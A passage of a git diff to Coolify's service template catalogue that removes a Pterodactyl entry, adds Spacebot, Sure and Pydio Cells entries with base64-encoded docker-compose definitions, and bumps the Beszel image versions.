1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCiAgd2luZ3M6CiAgICBpbWFnZTogJ2doY3IuaW8vcHRlcm9kYWN0eWwvd2luZ3M6djEuMTIuMScKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBwb3J0czoKICAgICAgLSAnMjAyMjoyMDIyJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGFjdHlsLycKICAgICAgLSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgICAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVpZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80, 8443"
- },
"qbittorrent": {
"documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io",
"slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.",
@@ -4404,6 +4316,25 @@
"minversion": "0.0.0",
"port": "8989"
},
+ "spacebot": {
+ "documentation": "https://docs.spacebot.sh/docker?utm_source=coolify.io",
+ "slogan": "An agentic AI system with specialized processes for thinking, working, and remembering.",
+ "compose": "c2VydmljZXM6CiAgc3BhY2Vib3Q6CiAgICBpbWFnZTogJ2doY3IuaW8vc3BhY2Vkcml2ZWFwcC9zcGFjZWJvdDpmdWxsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1NQQUNFQk9UXzE5ODk4CiAgICAgIC0gJ0FOVEhST1BJQ19BUElfS0VZPSR7QU5USFJPUElDX0FQSV9LRVl9JwogICAgICAtICdPUEVOQUlfQVBJX0tFWT0ke09QRU5BSV9BUElfS0VZfScKICAgICAgLSAnT1BFTlJPVVRFUl9BUElfS0VZPSR7T1BFTlJPVVRFUl9BUElfS0VZfScKICAgICAgLSAnRElTQ09SRF9CT1RfVE9LRU49JHtESVNDT1JEX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0JPVF9UT0tFTj0ke1NMQUNLX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0FQUF9UT0tFTj0ke1NMQUNLX0FQUF9UT0tFTn0nCiAgICAgIC0gJ0JSQVZFX1NFQVJDSF9BUElfS0VZPSR7QlJBVkVfU0VBUkNIX0FQSV9LRVl9JwogICAgICAtICdTUEFDRUJPVF9DSEFOTkVMX01PREVMPSR7U1BBQ0VCT1RfQ0hBTk5FTF9NT0RFTH0nCiAgICAgIC0gJ1NQQUNFQk9UX1dPUktFUl9NT0RFTD0ke1NQQUNFQk9UX1dPUktFUl9NT0RFTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzcGFjZWJvdC1kYXRhOi9kYXRhJwogICAgc2VjdXJpdHlfb3B0OgogICAgICAtIHNlY2NvbXA9dW5jb25maW5lZAogICAgc2htX3NpemU6IDFnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1zZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjE5ODk4L2FwaS9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwo=",
+ "tags": [
+ "ai",
+ "agent",
+ "anthropic",
+ "openai",
+ "discord",
+ "slack",
+ "llm",
+ "agentic"
+ ],
+ "category": "ai",
+ "logo": "svgs/spacebot.png",
+ "minversion": "0.0.0",
+ "port": "19898"
+ },
"sparkyfitness": {
"documentation": "https://codewithcj.github.io/SparkyFitness/?utm_source=coolify.io",
"slogan": "SparkyFitness is a comprehensive fitness tracking and management application designed to help users monitor their nutrition, exercise, and body measurements. It provides tools for daily progress tracking, goal setting, and insightful reports to support a healthy lifestyle.",
@@ -4548,6 +4479,22 @@
"minversion": "0.0.0",
"port": "3567"
},
+ "sure": {
+ "documentation": "https://github.com/we-promise/sure?utm_source=coolify.io",
+ "slogan": "An all-in-one personal finance platform.",
+ "compose": "c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6ICdnaGNyLmlvL3dlLXByb21pc2Uvc3VyZTowLjYuNycKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1NVUkVfMzAwMAogICAgICAtIEFQUF9ET01BSU49JFNFUlZJQ0VfRlFETl9TVVJFCiAgICAgIC0gU0VDUkVUX0tFWV9CQVNFPSRTRVJWSUNFX0JBU0U2NF9CQVNFCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1zdXJlfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vdmFsa2V5OjYzNzknCiAgICAgIC0gREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gU0VMRl9IT1NURUQ9dHJ1ZQogICAgICAtIFJBSUxTX0ZPUkNFX1NTTD1mYWxzZQogICAgICAtIFJBSUxTX0FTU1VNRV9TU0w9ZmFsc2UKICAgICAgLSAnT05CT0FSRElOR19TVEFURT0ke09OQk9BUkRJTkdfU1RBVEU6LW9wZW59JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICB2YWxrZXk6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtYXBwLXN0b3JhZ2U6L3JhaWxzL3N0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDE1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQogIHdvcmtlcjoKICAgIGltYWdlOiAnZ2hjci5pby93ZS1wcm9taXNlL3N1cmU6MC42LjcnCiAgICBjb21tYW5kOiAnYnVuZGxlIGV4ZWMgc2lkZWtpcScKICAgIGVudmlyb25tZW50OgogICAgICAtIEFQUF9ET01BSU49JFNFUlZJQ0VfRlFETl9TVVJFCiAgICAgIC0gU0VDUkVUX0tFWV9CQVNFPSRTRVJWSUNFX0JBU0U2NF9CQVNFCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1zdXJlfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vdmFsa2V5OjYzNzknCiAgICAgIC0gREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gU0VMRl9IT1NURUQ9dHJ1ZQogICAgICAtIFJBSUxTX0ZPUkNFX1NTTD1mYWxzZQogICAgICAtIFJBSUxTX0FTU1VNRV9TU0w9ZmFsc2UKICAgICAgLSAnT05CT0FSRElOR19TVEFURT0ke09OQk9BUkRJTkdfU1RBVEU6LW9wZW59JwogICAgdm9sdW1lczoKICAgICAgLSAnc3VyZS1hcHAtc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgdmFsa2V5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDE1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtcG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotc3VyZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgdmFsa2V5OgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjgtYWxwaW5lJwogICAgY29tbWFuZDogJ3ZhbGtleS1zZXJ2ZXIgLS1hcHBlbmRvbmx5IHllcycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtdmFsa2V5Oi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd2YWxrZXktY2xpIHBpbmcgfCBncmVwIFBPTkcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgICAgIHN0YXJ0X3BlcmlvZDogM3MK",
+ "tags": [
+ "budgeting",
+ "budget",
+ "money",
+ "expenses",
+ "income"
+ ],
+ "category": "finance",
+ "logo": "svgs/sure.png",
+ "minversion": "0.0.0",
+ "port": "3000"
+ },
"swetrix": {
"documentation": "https://docs.swetrix.com/selfhosting/how-to?utm_source=coolify.io",
"slogan": "Privacy-friendly and cookieless European web analytics alternative to Google Analytics.",
@@ -5284,5 +5231,17 @@
"logo": "svgs/marimo.svg",
"minversion": "0.0.0",
"port": "8080"
+ },
+ "pydio-cells": {
+ "documentation": "https://docs.pydio.com/?utm_source=coolify.io",
+ "slogan": "High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance.",
+ "compose": "c2VydmljZXM6CiAgY2VsbHM6CiAgICBpbWFnZTogJ3B5ZGlvL2NlbGxzOjQuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NFTExTXzgwODAKICAgICAgLSAnQ0VMTFNfU0lURV9FWFRFUk5BTD0ke1NFUlZJQ0VfVVJMX0NFTExTfScKICAgICAgLSBDRUxMU19TSVRFX05PX1RMUz0xCiAgICB2b2x1bWVzOgogICAgICAtICdjZWxsc19kYXRhOi92YXIvY2VsbHMnCiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ215c3FsX2RhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTVlTUUxfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNWVNRTF9EQVRBQkFTRTotY2VsbHN9JwogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01ZU1FMfScKICAgICAgLSAnTVlTUUxfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQo=",
+ "tags": [
+ "storage"
+ ],
+ "category": null,
+ "logo": "svgs/cells.svg",
+ "minversion": "0.0.0",
+ "port": "8080"
}
}
diff --git a/templates/service-templates.json b/templates/service-templates.json
index 545d9c62e..58f990de6 100644
--- a/templates/service-templates.json
+++ b/templates/service-templates.json
@@ -254,7 +254,7 @@
"beszel-agent": {
"documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io",
"slogan": "Monitoring agent for Beszel",
- "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfRlFETl9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=",
"tags": [
"beszel",
"monitoring",
@@ -269,7 +269,7 @@
"beszel": {
"documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io",
"slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.",
- "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTYuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtICdIVUJfVVJMPWh0dHA6Ly9iZXN6ZWw6ODA5MCcKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICB2b2x1bWVzOgogICAgICAtICdiZXN6ZWxfYWdlbnRfZGF0YTovdmFyL2xpYi9iZXN6ZWwtYWdlbnQnCiAgICAgIC0gJ2Jlc3plbF9zb2NrZXQ6L2Jlc3plbF9zb2NrZXQnCiAgICAgIC0gJy92YXIvcnVuL2RvY2tlci5zb2NrOi92YXIvcnVuL2RvY2tlci5zb2NrOnJvJwo=",
